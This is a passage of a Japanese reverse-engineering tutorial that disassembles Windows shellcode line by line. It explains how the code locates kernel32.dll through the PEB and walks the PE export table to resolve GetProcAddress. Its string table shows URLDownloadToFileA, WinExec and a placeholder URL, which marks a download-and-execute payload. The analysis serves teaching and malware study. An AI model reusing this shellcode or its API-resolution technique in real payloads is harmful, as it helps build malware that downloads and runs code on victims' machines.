PEフォーマットを解釈せよ!:リバースエンジニアリング入門(5)(2/3 ページ)
コンピュータウイルスの解析などに欠かせないリバースエンジニアリング技術ですが、何だか難しそうだな、という印象を抱いている人も多いのではないでしょうか。この連載では、「シェルコード」を例に、実践形式でその基礎を紹介していきます。(編集部)
逆アセンブル、スタート!
まずは、第4回で説明したkernel32.dllのベースアドレス取得部分からです(今回は説明のために行番号を入れています)。
1: sub_1C: 2: pop edx ; スタックに積んだアドレス(文字列データの先頭アドレス)を取得 3: mov eax, large fs:30h ; PEBのアドレスを取得 4: mov eax, [eax+0Ch] ; LoaderDataのアドレスを取得 5: mov esi, [eax+1Ch] ; InInitializationOrderModuleListのアドレスを取得(ntdll.dllのエントリ取得) 6: lodsd ; ntdll.dllのLDR_MODULEのエントリ内のInInitializationOrderModuleList.Flink 7: ; (kernel32.dllのLDR_MODULEエントリへのポインタ)を取得 8: mov eax, [eax+8] ; オフセット8(BaseAddress)を取得 9: mov ebx, eax ; ebx <- kernel32.dll baseaddr 10:
9行目で、ebxにkernel32.dllのベースアドレスが格納されていますね。ここからが本番です。続くシェルコードは以下のようになっています。
11: mov esi, [ebx+3Ch] ; IMAGE_DOS_HEADER.e_lfanewをesiに代入 12: mov esi, [esi+ebx+78h] ; IMAGE_OPTIONAL_HEADER32.DataDirectory[0].VirtualAddressをesiに代入 13: add esi, ebx ; IMAGE_EXPORT_DIRECTORYのアドレスを算出 14: mov edi, [esi+20h] ; ネームポインタテーブルのRVA(IMAGE_EXPORT_DIRECTORY.AddressOfNames)をediに代入 15: add edi, ebx ; ネームポインタテーブルのアドレスを算出 16: mov ecx, [esi+14h] ; IMAGE_EXPORT_DIRECTORY.NumberOfFunctionsをecxに代入 17:
まず11行目で、ebx(kernel32.dllのベースアドレス)+3Chの値をesiに代入しています。これは前述したIMAGE_DOS_HEADER構造体のe_lfanewメンバです。つまり12行目のesi+ebxはPEヘッダ先頭のアドレスとなります。
PEヘッダの先頭から78hバイト目は、IMAGE_OPTIONAL_HEADER32.DataDirectory[0].VirtualAddressですので、12行目の命令でIMAGE_EXPORT_DIRECTORYのRVA、13行目でそのアドレスを算出し、esiへ代入していることになります。14行目では、esi(IMAGE_EXPORT_DIRECTORYのアドレス)+20hを参照することで、AddressOfNames(ネームポインタテーブルのRVA)を取得し、15行目でそのアドレスを算出しています。また16行目では、esi(IMAGE_EXPORT_DIRECTORYのアドレス)+14hを参照することで、NumberOfFunctionsをecxに代入しています。
この時点で、各レジスタの値は以下のようになっています。
・esi | IMAGE_EXPORT_DIRECTORYのアドレス |
---|---|
・edi | ネームポインタテーブルのアドレス |
・ecx | IMAGE_EXPORT_DIRECTORY.NumberOfFunctionsの値 |
・edx | シェルコード末端のアドレス(“GetProcAddress”などが格納されているアドレス) |
前回の再掲となりますが、シェルコードの末端には以下の文字列が配置されています。
123: aGetprocaddress db 'GetProcAddress',0 124: aGetsystemdirec db 'GetSystemDirectoryA',0 125: aWinexec db 'WinExec',0 126: aExitthread db 'ExitThread',0 127: aLoadlibrarya db 'LoadLibraryA',0 128: aUrlmon db 'urlmon',0 129: aUrldownloadtof db 'URLDownloadToFileA',0 130: aHttpHoge_coma db 'http://hoge.com'
このように逆アセンブル結果を追うときは、その時点でのレジスタやスタックの内容を把握しておくことが大切です。では、続きを見てみましょう。
18: xor ebp, ebp ; ebpを0に初期化 19: push esi ; IMAGE_EXPORT_DIRECTORYのアドレスをスタックに退避 20: loc_43: 21: push edi ; ネームポインタテーブル内のアドレスをスタックに退避 22: push ecx ; 残り関数アドレス数をスタックに退避 23: mov edi, [edi] ; 関数名のRVAをediに代入 24: add edi, ebx ; 関数名のアドレスを算出 25: mov esi, edx ; シェルコード末端のアドレスをesiへ代入 26: push 14 27: pop ecx ; 14(“GetProcAddress”の文字数)をecxへ代入 28: repe cmpsb ; esiとediをecx(14)文字比較 29: jz short loc_5A ; esiとediが同じ文字列の場合はloc_5Aへジャンプ 30: pop ecx ; 残り関数アドレス数をスタックから復元 31: pop edi ; ネームポインタテーブル内のアドレスをスタックから復元 32: add edi, 4 ; ネームポインタテーブル内のアドレスを4加算 33: inc ebp ; ebpをインクリメント 34: loop loc_43 ; ecxをデクリメントし、ecxが0でなければloc_43へジャンプ 35: loc_5A: 36: pop ecx ; 残り関数アドレス数をスタックから復元 37: pop edi ; ネームポインタテーブル内のアドレスをスタックから復元 38: pop esi ; IMAGE_EXPORT_DIRECTORYのアドレスをスタックから復元 39:
34行目のloop loc_43は、ecxをデクリメント(1減算)し、その結果が0でなければ20行目のloc_43へジャンプする命令です。つまりこのシェルコードでは、loc_43(20行目)からloop loc_43(34行目)までをecx(エクスポートアドレステーブルのエントリ数)回、繰り返すことになります。
実際にループの中で行っている処理を説明すると、ネームポインタテーブルから関数名のアドレスを取り出し、これがシェルコード末端に配置されている文字列“GetProcAddress”と合致するかどうかを調べ、合致する場合にはloc_5A(29行目)へジャンプすることでループを脱出しています。この文字列比較は、28行目のrepe cmpsbという命令により行われています。これは、esiとediをそれぞれ文字列へのポインタと解釈し、ecxバイト分比較する命令です。
またループ処理に入る前の18行目に「xor ebp, ebp」とあります。これによりebpが0に初期化されています。ebpはループ処理が行われるたびにinc ebp(33行目)でインクリメント(1加算)されており、結果的にebxは、文字列“GetProcAddress”が見つかった時点でのネームポインタテーブルのインデックスとなります。
ではまた、この時点でのレジスタの値を整理してみましょう。
・esi | IMAGE_EXPORT_DIRECTORYのアドレス |
---|---|
・ebp | “GetProcAddress”に対応するネームポインタテーブル内のインデックス |
これらのレジスタの値を踏まえつつ、シェルコードの続きを見てみましょう。
40: mov ecx, ebp ; ネームポインタテーブル内のインデックスをecxへ代入 41: mov eax, [esi+24h] ; 序数テーブルのRVA(IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals)をeaxに代入 42: add eax, ebx ; 序数テーブルのアドレスを算出 43: shl ecx, 1 ; ecxを2倍 44: add eax, ecx ; 序数テーブル内の対象レコードのアドレスを算出 45: xor ecx, ecx ; ecxを0に初期化 46: mov cx, [eax] ; 序数をcxに代入 47: mov eax, [esi+1Ch] ; エクスポートアドレステーブルのRVA(IMAGE_EXPORT_DIRECTORY.AddressOfFunctions)をeaxに代入 48: add eax, ebx ; エクスポートアドレステーブルのアドレスを算出 49: shl ecx, 2 ; 序数を4倍した値をecxに代入 50: add eax, ecx ; エクスポートアドレステーブル内の対象レコードのアドレスを算出 51: mov eax, [eax] ; 対象関数のRVAをeaxに代入 52: add eax, ebx ; 対象関数のアドレスを算出 53:
ここではまず、序数テーブルのebp(“GetProcAddress”に対応するネームポインタテーブル内のインデックス)に対応するレコードを参照し、GetProcAddress関数の序数を取得しています(40〜46行目)。そして、この序数を用いてエクスポートアドレステーブルにアクセスし、GetProcAddressのRVAを取得し(47〜51行目)、最終的には52行目でebx(kernel32.dllのベースアドレス)を加算することで、GetProcAddressのアドレスを算出しています。
ここで注意しておく必要があるのは、序数テーブルとエクスポートアドレステーブルの各レコードのサイズです。序数テーブルにおける各レコードのサイズは2バイトです。このため、ネームポインタテーブル内のインデックスを2倍し、序数テーブルにアクセスする必要があります。
このシェルコードでは「shl ecx,1」という命令を使っています。これは、ecxのレジスタを左方向へ1ビットシフトする命令で、結果的にecxの値を2倍していることになります。また、エクスポートアドレステーブルにおける各レコードのサイズは4バイトです。そのため、このシェルコードでは「shl ecx,2」という命令を使って序数を4倍しています。
このようにPEフォーマットを追っていくことで、GetProcAddress関数のアドレスを取得することができました。このシェルコードでは、こうして得られたGetProcAddress関数のアドレスを使って、他の関数のアドレスを取得していきます。
Copyright © ITmedia, Inc. All Rights Reserved.